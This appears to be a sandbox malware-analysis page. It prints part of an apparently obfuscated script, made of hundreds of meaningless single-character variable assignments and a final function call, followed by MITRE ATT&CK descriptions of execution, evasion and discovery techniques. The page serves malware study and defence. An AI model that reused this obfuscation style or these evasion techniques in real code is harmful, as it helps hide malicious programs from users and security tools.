348	rmlrs = "y";
349	rmlrs = "U";
350	uyjjicqr = "c";
351	uyjjicqr = "E";
352	uyjjicqr = "W";
353	uyjjicqr = "c";
354	uyjjicqr = "D";
355	uyjjicqr = "T";
356	uyjjicqr = "B";
357	uyjjicqr = "N";
358	uyjjicqr = "B";
359	uyjjicqr = "H";
360	uyjjicqr = "r";
361	uyjjicqr = "M";
362	uyjjicqr = "M";
363	uyjjicqr = "Y";
364	uyjjicqr = "D";
365	uyjjicqr = "X";
366	uyjjicqr = "T";
367	uyjjicqr = "t";
368	uyjjicqr = "o";
369	uyjjicqr = "X";
370	uyjjicqr = "E";
371	uyjjicqr = "4";
372	nkyptj = "v";
373	nkyptj = "G";
374	nkyptj = "m";
375	nkyptj = "C";
376	nkyptj = "c";
377	nkyptj = "k";
378	nkyptj = "J";
379	nkyptj = "K";
380	nkyptj = "v";
381	nkyptj = "k";
382	nkyptj = "J";
383	nkyptj = "C";
384	nkyptj = "q";
385	nkyptj = "D";
386	nkyptj = "n";
387	nkyptj = "T";
388	nkyptj = "Q";
389	nkyptj = "0";
390	ptbrzqd = "v";
391	ptbrzqd = "d";
392	ptbrzqd = "S";
393	ptbrzqd = "h";
394	ptbrzqd = "h";
395	ptbrzqd = "L";
396	ptbrzqd = "s";
397	ptbrzqd = "H";
398	ptbrzqd = "k";
399	ptbrzqd = "O";
400	ptbrzqd = "B";
401	ptbrzqd = "a";
402	ptbrzqd = "G";
403	ptbrzqd = "P";
404	ptbrzqd = "J";
405	ptbrzqd = "L";
406	ptbrzqd = "E";
407	ptbrzqd = "O";
408	ptbrzqd = "R";
409	ptbrzqd = "k";
410	kaykwzady = "Y";
411	kaykwzady = "L";
412	kaykwzady = "D";
413	kaykwzady = "S";
414	kaykwzady = "n";
415	kaykwzady = "j";
416	kaykwzady = "K";
417	kaykwzady = "p";
418	kaykwzady = "X";
419	kaykwzady = "i";
420	kaykwzady = "F";
421	kaykwzady = "g";
422	kaykwzady = "t";
423	kaykwzady = "j";
424	kaykwzady = "V";
425	kaykwzady = "m";
426	kaykwzady = "g";
427	kaykwzady = "Q";
428	kaykwzady = "l";
429	kaykwzady = "M";
430	kaykwzady = "m";
431	kaykwzady = "a";
432	kaykwzady = "Z";
433	kaykwzady = "d";
434	nisgoseyc = "y";
435	nisgoseyc = "I";
436	nisgoseyc = "k";
437	nisgoseyc = "U";
438	nisgoseyc = "d";
439	nisgoseyc = "D";
440	nisgoseyc = "R";
441	nisgoseyc = "y";
442	nisgoseyc = "W";
443	bxvftbbe = "S";
444	bxvftbbe = "s";
445	bxvftbbe = "L";
446	bxvftbbe = "W";
447	bxvftbbe = "y";
448	bxvftbbe = "J";
449	bxvftbbe = "a";
450	bxvftbbe = "Y";
451	bxvftbbe = "P";
452	bxvftbbe = "z";
453	bxvftbbe = "U";
454	bxvftbbe = "T";
455	bxvftbbe = "i";
456	bxvftbbe = "b";
457	bxvftbbe = "W";
458	bxvftbbe = "k";
459	bxvftbbe = "s";
460	bxvftbbe = "Z";
461	bxvftbbe = "U";
462	bxvftbbe = "d";
463	bxvftbbe = "U";
464	bxvftbbe = "V";
465	bxvftbbe = "B";
466	bxvftbbe = "Q";
467	bxvftbbe = "h";
468	bxvftbbe = "i";
469	bxvftbbe = "k";
470	bxvftbbe = "P";
471	bxvftbbe = "W";
472	bxvftbbe = "b";
473	bxvftbbe = "E";
474	bxvftbbe = "Q";
475	bxvftbbe = "w";
476	bxvftbbe = "j";
477	bxvftbbe = "V";
478	bxvftbbe = "A";
479	bxvftbbe = "V";
480	bxvftbbe = "v";
481	bxvftbbe = "W";
482	bxvftbbe = "t";
483	vlfefvwvk = "U";
484	vlfefvwvk = "N";
485	vlfefvwvk = "C";
486	vlfefvwvk = "B";
487	vlfefvwvk = "h";
488	vlfefvwvk = "x";
489	vlfefvwvk = "k";
490	vlfefvwvk = "x";
491	vlfefvwvk = "X";
492	vlfefvwvk = "z";
493	vlfefvwvk = "y";
494	vlfefvwvk = "g";
495	vlfefvwvk = "m";
496	vlfefvwvk = "U";
497	vlfefvwvk = "e";
498	vlfefvwvk = "E";
499	vlfefvwvk = "u";
500	vlfefvwvk = "y";
501	vlfefvwvk = "r";
502	vlfefvwvk = "m";
503	vlfefvwvk = "T";
504	vlfefvwvk = "i";
505	vlfefvwvk = "h";
506	vlfefvwvk = "z";
507	vlfefvwvk = "m";
508	vlfefvwvk = "c";
509	vlfefvwvk = "l";
510	ogeslvej = "Y";
511	ogeslvej = "E";
512	ogeslvej = "L";
513	ogeslvej = "K";
514	ogeslvej = "G";
515	ogeslvej = "C";
516	ogeslvej = "k";
517	ogeslvej = "l";
518	ogeslvej = "y";
519	ogeslvej = "u";
520	ogeslvej = "b";
521	ogeslvej = "h";
522	ogeslvej = "Q";
523	ogeslvej = "N";
524	ogeslvej = "H";
525	ogeslvej = "e";
526	aqzicex = "z";
527	aqzicex = "W";
528	aqzicex = "R";
529	aqzicex = "I";
530	aqzicex = "Y";
531	aqzicex = "j";
532	aqzicex = "K";
533	aqzicex = "k";
534	aqzicex = "v";
535	xdkpzxlib = "E";
536	xdkpzxlib = "B";
537	xdkpzxlib = "G";
538	xdkpzxlib = "a";
539	xdkpzxlib = "m";
540	xdkpzxlib = "m";
541	xdkpzxlib = "Y";
542	xdkpzxlib = "c";
543	xdkpzxlib = "z";
544	xdkpzxlib = "Q";
545	xdkpzxlib = "J";
546	xdkpzxlib = "a";
547	xdkpzxlib = "w";
548	xdkpzxlib = "u";
549	xdkpzxlib = "c";
550	xdkpzxlib = "X";
551	xdkpzxlib = "s";
552	xdkpzxlib = "f";
553	xdkpzxlib = "X";
554	xdkpzxlib = "Z";
555	xdkpzxlib = "i";
556	xdkpzxlib = "t";
557	xdkpzxlib = "n";
558	xdkpzxlib = "C";
559	xdkpzxlib = "S";
560	xdkpzxlib = "p";
561	xdkpzxlib = "w";
562	xdkpzxlib = "r";
563	xdkpzxlib = "n";
564	xdkpzxlib = "9";
565	ztxmdrlra = "j";
566	ztxmdrlra = "V";
567	ztxmdrlra = "w";
568	ztxmdrlra = "L";
569	ztxmdrlra = "f";
570	ztxmdrlra = "D";
571	ztxmdrlra = "P";
572	ztxmdrlra = "D";
573	ztxmdrlra = "h";
574	mjdsde = "z";
575	mjdsde = "K";
576	mjdsde = "Q";
577	mjdsde = "z";
578	mjdsde = "E";
579	mjdsde = "N";
580	mjdsde = "H";
581	mjdsde = "i";
582	mjdsde = "k";
583	mjdsde = "p";
584	mjdsde = "w";
585	mjdsde = "Y";
586	mjdsde = "L";
587	mjdsde = "r";
588	mjdsde = "I";
589	mjdsde = "X";
590	mjdsde = "t";
591	mjdsde = "e";
592	mjdsde = "A";
593	mjdsde = "P";
594	mjdsde = "J";
595	mjdsde = "y";
596	mjdsde = "b";
597	mjdsde = "F";
598	mjdsde = "r";
599	mjdsde = "f";
600	mjdsde = "5";
601	blnnohe = "Y";
602	blnnohe = "D";
603	blnnohe = "P";
604	blnnohe = "G";
605	blnnohe = "a";
606	blnnohe = "n";
607	blnnohe = "a";
608	blnnohe = "N";
609	blnnohe = "B";
610	blnnohe = "d";
611	blnnohe = "g";
612	blnnohe = "Y";
613	blnnohe = "M";
614	blnnohe = "H";
615	blnnohe = "F";
616	blnnohe = "A";
617	blnnohe = "s";
618	hbrzplgs = "W";
619	hbrzplgs = "F";
620	hbrzplgs = "T";
621	hbrzplgs = "l";
622	hbrzplgs = "z";
623	hbrzplgs = "U";
624	hbrzplgs = "i";
625	hbrzplgs = "V";
626	hbrzplgs = "q";
627	hbrzplgs = "b";
628	hbrzplgs = "R";
629	hbrzplgs = "I";
630	hbrzplgs = "c";
631	hbrzplgs = "K";
632	hbrzplgs = "G";
633	hbrzplgs = "A";
634	hbrzplgs = "D";
635	hbrzplgs = "o";
636	hbrzplgs = "m";
637	hbrzplgs = "g";
638	hbrzplgs = "2";
639	ukarg = "c";
640	ukarg = "r";
641	ukarg = "Y";
642	ukarg = "N";
643	ukarg = "F";
644	ukarg = "f";
645	ukarg = "S";
646	ukarg = "U";
647	ukarg = "v";
648	ukarg = "j";
649	ukarg = "C";
650	ukarg = "G";
651	ukarg = "u";
652	ukarg = "X";
653	ukarg = "i";
654	ukarg = "Y";
655	ukarg = ":";
656	vzegqxvts = "B";
657	vzegqxvts = "k";
658	vzegqxvts = "O";
659	vzegqxvts = "E";
660	vzegqxvts = "g";
661	ihmvvxcbs = "g";
662	ihmvvxcbs = "b";
663	ihmvvxcbs = "c";
664	ovoooojwc = "D";
665	ovoooojwc = "P";
666	ovoooojwc = "g";
667	ovoooojwc = "e";
668	ovoooojwc = "X";
669	ovoooojwc = "c";
670	ovoooojwc = "u";
671	ovoooojwc = "c";
672	ovoooojwc = "U";
673	ovoooojwc = "j";
674	ovoooojwc = "C";
675	ovoooojwc = "o";
676	ovoooojwc = "x";
677	ovoooojwc = "S";
678	ovoooojwc = "G";
679	ovoooojwc = "m";
680	ovoooojwc = "U";
681	ovoooojwc = "e";
682	ovoooojwc = "y";
683	ovoooojwc = "J";
684	ovoooojwc = "K";
685	ovoooojwc = "D";
686	ovoooojwc = "M";
687	ovoooojwc = "K";
688	ovoooojwc = "@";
689	dftytop = "h";
690	dftytop = "e";
691	dftytop = "J";
692	dftytop = "i";
693	dftytop = "c";
694	dftytop = "v";
695	dftytop = "g";
696	dftytop = "D";
697	dftytop = "r";
698	dftytop = "t";
699	dftytop = "T";
700	dftytop = "P";
701	dftytop = "L";
702	dftytop = "s";
703	dftytop = "x";
704	dftytop = "F";
705	fuutksy = "v";
706	fuutksy = "x";
707	fuutksy = "B";
708	fuutksy = "n";
709	fuutksy = "h";
710	fuutksy = "G";
711	fuutksy = "x";
712	fuutksy = "/";
713	ptfksg = "L";
714	ptfksg = "N";
715	ptfksg = "R";
716	ptfksg = "A";
717	ptfksg = "L";
718	ptfksg = "b";
719	ptfksg = "n";
720	ptfksg = "I";
721	ptfksg = "Y";
722	ptfksg = "w";
723	ptfksg = "i";
724	ptfksg = "w";
725	ptfksg = "R";
726	ptfksg = "K";
727	ptfksg = "t";
728	ptfksg = "E";
729	ptfksg = "y";
730	ptfksg = "S";
731	ptfksg = "N";
732	ptfksg = "I";
733	ptfksg = "l";
734	ptfksg = "X";
735	ptfksg = "A";
736	ptfksg = "o";
737	ptfksg = "y";
738	ptfksg = "P";
739	ptfksg = "q";
740	ptfksg = "V";
741	ptfksg = "s";
742	ptfksg = "q";
743	ptfksg = "I";
744	ptfksg = "i";
745	ptfksg = "d";
746	ptfksg = "Q";
747	gwydtfrx = "c";
748	gwydtfrx = "T";
749	gwydtfrx = "t";
750	gwydtfrx = "W";
751	gwydtfrx = "I";
752	gwydtfrx = "u";
753	gwydtfrx = "D";
754	gwydtfrx = "Z";
755	gwydtfrx = "Z";
756	gwydtfrx = "D";
757	gwydtfrx = "T";
758	gwydtfrx = "K";
759	gwydtfrx = "g";
760	gwydtfrx = "L";
761	gwydtfrx = "i";
762	gwydtfrx = "o";
763	gwydtfrx = "T";
764	eyrmpwf = "D";
765	eyrmpwf = "O";
766	eyrmpwf = "e";
767	eyrmpwf = "j";
768	eyrmpwf = "u";
769	eyrmpwf = "h";
770	eyrmpwf = "P";
771	eyrmpwf = "P";
772	eyrmpwf = "X";
773	eyrmpwf = "E";
774	ryhhnmma = "C";
775	ryhhnmma = "T";
776	ryhhnmma = "s";
777	ryhhnmma = "Q";
778	ryhhnmma = "O";
779	ipkqimrom = "a";
780	ipkqimrom = "Q";
781	ipkqimrom = "t";
782	ipkqimrom = "T";
783	ipkqimrom = "u";
784	ipkqimrom = "m";
785	ipkqimrom = "Y";
786	ipkqimrom = "D";
787	ipkqimrom = "p";
788	ipkqimrom = "Y";
789	ipkqimrom = "V";
790	ipkqimrom = "G";
791	ipkqimrom = "K";
792	ipkqimrom = "k";
793	ipkqimrom = "G";
794	ipkqimrom = "B";
795	ipkqimrom = "H";
796	ipkqimrom = "K";
797	ipkqimrom = "m";
798	ipkqimrom = "Q";
799	ipkqimrom = "y";
800	ipkqimrom = "J";
801	ipkqimrom = "q";
802	ipkqimrom = "U";
803	ipkqimrom = "l";
804	ipkqimrom = "l";
805	ipkqimrom = "W";
806	ipkqimrom = "J";
807	ipkqimrom = "u";
808	ipkqimrom = "v";
809	ipkqimrom = "R";
810	ipkqimrom = "P";
811	ipkqimrom = "8";
812	rlalcaf = "U";
813	rlalcaf = "H";
814	rlalcaf = "S";
815	rlalcaf = "l";
816	rlalcaf = "a";
817	pwjdn = "x";
818	pwjdn = "u";
819	pwjdn = "S";
820	pwjdn = "a";
821	pwjdn = "Y";
822	pwjdn = "r";
823	pwjdn = "p";
824	pwjdn = "O";
825	pwjdn = "J";
826	pwjdn = "F";
827	pwjdn = "I";
828	pwjdn = "O";
829	pwjdn = "n";
830	pwjdn = "O";
831	pwjdn = "R";
832	pwjdn = "e";
833	pwjdn = "G";
834	pwjdn = "I";
835	pwjdn = "b";
836	pwjdn = "g";
837	pwjdn = "t";
838	pwjdn = "G";
839	pwjdn = "A";
840	pwjdn = "n";
841	pwjdn = "p";
842	pwjdn = "L";
843	pwjdn = "H";
844	pwjdn = "T";
845	pwjdn = "U";
846	pwjdn = "S";
847	pwjdn = "O";
848	pwjdn = "J";
849	pwjdn = "f";
850	pwjdn = "u";
851	pwjdn = "C";
852	pwjdn = "T";
853	pwjdn = "M";
854	pwjdn = "c";
855	pwjdn = "F";
856	pwjdn = "f";
857	hloyvxtad = "f";
858	hloyvxtad = "B";
859	hloyvxtad = "h";
860	hloyvxtad = "T";
861	hloyvxtad = "C";
862	hloyvxtad = "D";
863	hloyvxtad = "D";
864	hloyvxtad = "T";
865	hloyvxtad = "i";
866	hloyvxtad = "J";
867	hloyvxtad = "K";
868	hloyvxtad = "P";
869	hloyvxtad = "H";
870	hloyvxtad = "N";
871	uyquc = "p";
872	uyquc = "O";
873	uyquc = "Y";
874	uyquc = "W";
875	uyquc = "I";
876	uyquc = "E";
877	uyquc = "f";
878	uyquc = "o";
879	uyquc = "P";
880	cypjgu = "U";
881	cypjgu = "e";
882	cypjgu = "D";
883	cypjgu = "M";
884	cypjgu = "r";
885	cypjgu = "J";
886	cypjgu = "l";
887	cypjgu = "z";
888	cypjgu = "l";
889	cypjgu = "k";
890	cypjgu = "w";
891	cypjgu = "Y";
892	cypjgu = "F";
893	cypjgu = "T";
894	cypjgu = "a";
895	cypjgu = "e";
896	cypjgu = "i";
897	cypjgu = "g";
898	cypjgu = "h";
899	cypjgu = "I";
900	cypjgu = "K";
901	cypjgu = "e";
902	cypjgu = "S";
903	cypjgu = "o";
904	cypjgu = "F";
905	cypjgu = "c";
906	cypjgu = "j";
907	cypjgu = "K";
908	cypjgu = "k";
909	cypjgu = "q";
910	cypjgu = "R";
911	cypjgu = "w";
912	cypjgu = "E";
913	cypjgu = "X";
914	cypjgu = "u";
915	cypjgu = "J";
916	cypjgu = "s";
917	cypjgu = "B";
918	cypjgu = "d";
919	cypjgu = " ";
920	lpoat = "B";
921	lpoat = "I";
922	lpoat = "n";
923	lpoat = "s";
924	lpoat = "b";
925	lpoat = "h";
926	lpoat = "M";
927	lpoat = "X";
928	lpoat = "U";
929	lpoat = "a";
930	lpoat = "X";
931	lpoat = "N";
932	lpoat = "F";
933	lpoat = "m";
934	lpoat = "b";
935	lpoat = "Z";
936	lpoat = "g";
937	lpoat = "o";
938	lpoat = "K";
939	lpoat = "f";
940	lpoat = "J";
941	lpoat = "F";
942	lpoat = "B";
943	lpoat = "n";
944	lpoat = "t";
945	lpoat = "e";
946	lpoat = "b";
947	lpoat = "g";
948	lpoat = "F";
949	lpoat = "f";
950	lpoat = "o";
951	aozbvluoz = "\"";
952	pvntqbjti = "K";
953	rhfktuq = "k";
954	rhfktuq = "c";
955	rhfktuq = "z";
956	rhfktuq = "G";
957	rhfktuq = "i";
958	rhfktuq = "G";
959	rhfktuq = "k";
960	rhfktuq = "p";
961	rhfktuq = "p";
962	rhfktuq = "R";
963	rhfktuq = "K";
964	rhfktuq = "p";
965	rhfktuq = "o";
966	rhfktuq = "t";
967	rhfktuq = "n";
968	rhfktuq = "i";
969	rhfktuq = "K";
970	rhfktuq = "E";
971	rhfktuq = "j";
972	qmhbwm = "J";
973	qmhbwm = "n";
974	qmhbwm = "x";
975	qmhbwm = "k";
976	qmhbwm = "n";
977	qmhbwm = "x";
978	qmhbwm = "J";
979	qmhbwm = "F";
980	qmhbwm = "V";
981	qmhbwm = "G";
982	qmhbwm = "j";
983	qmhbwm = "e";
984	qmhbwm = "P";
985	qmhbwm = "H";
986	qmhbwm = "H";
987	qmhbwm = "Q";
988	qmhbwm = "N";
989	qmhbwm = "J";
990	qmhbwm = "E";
991	qmhbwm = "C";
992	qmhbwm = "R";
993	mobrqtkcj = "q";
994	mobrqtkcj = "c";
995	mobrqtkcj = "s";
996	mobrqtkcj = "W";
997	mobrqtkcj = "Y";
998	mobrqtkcj = "o";
999	mobrqtkcj = "i";
1000	mobrqtkcj = "g";
1001	mobrqtkcj = "O";
1002	mobrqtkcj = "Y";
1003	mobrqtkcj = "x";
1004	mobrqtkcj = "y";
1005	mobrqtkcj = "G";
1006	mobrqtkcj = "S";
1007	mobrqtkcj = "K";
1008	mobrqtkcj = "V";
1009	mobrqtkcj = "G";
1010	mobrqtkcj = "b";
1011	mobrqtkcj = "M";
1012	mobrqtkcj = "Q";
1013	mobrqtkcj = "L";
1014	mobrqtkcj = "j";
1015	mobrqtkcj = "n";
1016	mobrqtkcj = "y";
1017	mobrqtkcj = "U";
1018	mobrqtkcj = "O";
1019	mobrqtkcj = "H";
1020	mobrqtkcj = "o";
1021	mobrqtkcj = "A";
1022	mobrqtkcj = "p";
1023	mobrqtkcj = "V";
1024	mobrqtkcj = "X";
1025	mobrqtkcj = "a";
1026	mobrqtkcj = "H";
1027	mobrqtkcj = "W";
1028	mobrqtkcj = "E";
1029	mobrqtkcj = "t";
1030	mobrqtkcj = "f";
1031	mobrqtkcj = "n";
1032	mobrqtkcj = "g";
1033	mobrqtkcj = "B";
1034	mobrqtkcj = "f";
1035	mobrqtkcj = "H";
1036	mobrqtkcj = "G";
1037	mobrqtkcj = "S";
1038	fraoctr = "D";
1039	fraoctr = "U";
1040	fraoctr = "K";
1041	fraoctr = "U";
1042	fraoctr = "c";
1043	fraoctr = "H";
1044	fraoctr = "v";
1045	fraoctr = "A";
1046	fraoctr = "n";
1047	fraoctr = "o";
1048	fraoctr = "E";
1049	fraoctr = "d";
1050	fraoctr = "g";
1051	fraoctr = "d";
1052	fraoctr = "J";
1053	fraoctr = "x";
1054	fraoctr = "a";
1055	fraoctr = "A";
1056	fraoctr = "z";
1057	fraoctr = "I";
1058	fraoctr = "E";
1059	fraoctr = "W";
1060	fraoctr = "z";
1061	fraoctr = "y";
1062	fraoctr = "x";
1063	fraoctr = "y";
1064	fraoctr = "C";
1065	fraoctr = "n";
1066	brsgwrg = "v";
1067	brsgwrg = "T";
1068	brsgwrg = "I";
1069	brsgwrg = "t";
1070	brsgwrg = "S";
1071	brsgwrg = "Y";
1072	qnopsox = "U";
1073	qnopsox = "M";
1074	qnopsox = "g";
1075	qnopsox = "i";
1076	qnopsox = "w";
1077	qnopsox = "H";
1078	qnopsox = "B";
1079	qnopsox = "R";
1080	qnopsox = "v";
1081	qnopsox = "e";
1082	qnopsox = "o";
1083	qnopsox = "P";
1084	qnopsox = "a";
1085	qnopsox = "C";
1086	qnopsox = "U";
1087	qnopsox = "R";
1088	qnopsox = "y";
1089	qnopsox = "o";
1090	qnopsox = "x";
1091	qnopsox = "n";
1092	qnopsox = "J";
1093	qnopsox = "h";
1094	qnopsox = "R";
1095	qnopsox = "L";
1096	qnopsox = "k";
1097	qnopsox = "T";
1098	qnopsox = "U";
1099	qnopsox = "L";
1100	qnopsox = "6";
1101	vwyxnfso = "z";
1102	vwyxnfso = "H";
1103	vwyxnfso = "A";
1104	vwyxnfso = "r";
1105	vwyxnfso = "-";
1106	qbbllnlbc = "v";
1107	qbbllnlbc = "B";
1108	qbbllnlbc = "r";
1109	qbbllnlbc = "f";
1110	qbbllnlbc = "c";
1111	qbbllnlbc = "m";
1112	qbbllnlbc = "S";
1113	qbbllnlbc = "B";
1114	qbbllnlbc = "s";
1115	qbbllnlbc = "U";
1116	qbbllnlbc = "p";
1117	qbbllnlbc = "m";
1118	qbbllnlbc = "R";
1119	qbbllnlbc = "D";
1120	qbbllnlbc = "p";
1121	vcikfbu = "F";
1122	vcikfbu = "y";
1123	vcikfbu = "u";
1124	vcikfbu = "D";
1125	vcikfbu = "u";
1126	vcikfbu = "b";
1127	vcikfbu = "R";
1128	vcikfbu = "e";
1129	vcikfbu = "D";
1130	vcikfbu = "W";
1131	vcikfbu = "x";
1132	vcikfbu = "W";
1133	vcikfbu = "G";
1134	vcikfbu = "H";
1135	vcikfbu = "I";
1136	vcikfbu = "u";
1137	vcikfbu = "s";
1138	vcikfbu = "o";
1139	vcikfbu = "j";
1140	vcikfbu = "C";
1141	vcikfbu = "c";
1142	vcikfbu = "f";
1143	vcikfbu = "J";
1144	vcikfbu = "O";
1145	vcikfbu = "K";
1146	vcikfbu = "G";
1147	vcikfbu = "S";
1148	vcikfbu = "j";
1149	vcikfbu = "n";
1150	vcikfbu = "R";
1151	vcikfbu = "e";
1152	vcikfbu = "I";
1153	vcikfbu = "c";
1154	vcikfbu = "G";
1155	vcikfbu = "a";
1156	vcikfbu = "T";
1157	vcikfbu = "N";
1158	vcikfbu = "J";
1159	vcikfbu = "H";
1160	vcikfbu = "n";
1161	vcikfbu = "_";
1162	yehphnjgt = "k";
1163	yehphnjgt = "K";
1164	yehphnjgt = "e";
1165	yehphnjgt = "M";
1166	yehphnjgt = "Y";
1167	yehphnjgt = "A";
1168	yehphnjgt = "u";
1169	yehphnjgt = "%";
1170	ovpwgarzm = "W";
1171	ovpwgarzm = "P";
1172	ovpwgarzm = "I";
1173	ovpwgarzm = "T";
1174	ovpwgarzm = "p";
1175	ovpwgarzm = "P";
1176	ovpwgarzm = "E";
1177	ovpwgarzm = "l";
1178	ovpwgarzm = "T";
1179	ovpwgarzm = "f";
1180	ovpwgarzm = "s";
1181	ovpwgarzm = "W";
1182	ovpwgarzm = "J";
1183	ovpwgarzm = "A";
1184	ovpwgarzm = "n";
1185	ovpwgarzm = "S";
1186	ovpwgarzm = "q";
1187	ovpwgarzm = "W";
1188	ovpwgarzm = "e";
1189	ovpwgarzm = "Q";
1190	ovpwgarzm = "S";
1191	ovpwgarzm = "m";
1192	ovpwgarzm = "k";
1193	ovpwgarzm = "w";
1194	rzipj = "n";
1195	rzipj = "O";
1196	rzipj = "l";
1197	rzipj = "x";
1198	rzipj = "p";
1199	rzipj = "P";
1200	rzipj = "V";
1201	rzipj = "T";
1202	rzipj = "v";
1203	rzipj = "q";
1204	rzipj = "V";
1205	rzipj = "H";
1206	rzipj = "R";
1207	rzipj = "b";
1208	rzipj = "W";
1209	rzipj = "U";
1210	rzipj = "U";
1211	rzipj = "Z";
1212	rzipj = "m";
1213	rzipj = "w";
1214	rzipj = "u";
1215	rzipj = "H";
1216	rzipj = "M";
1217	rzipj = "1";
1218	umcyrmjhp = "e";
1219	umcyrmjhp = "S";
1220	umcyrmjhp = "b";
1221	umcyrmjhp = "I";
1222	umcyrmjhp = "E";
1223	umcyrmjhp = "R";
1224	umcyrmjhp = "u";
1225	umcyrmjhp = "z";
1226	umcyrmjhp = "u";
1227	agomolue ( );	agomolue() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

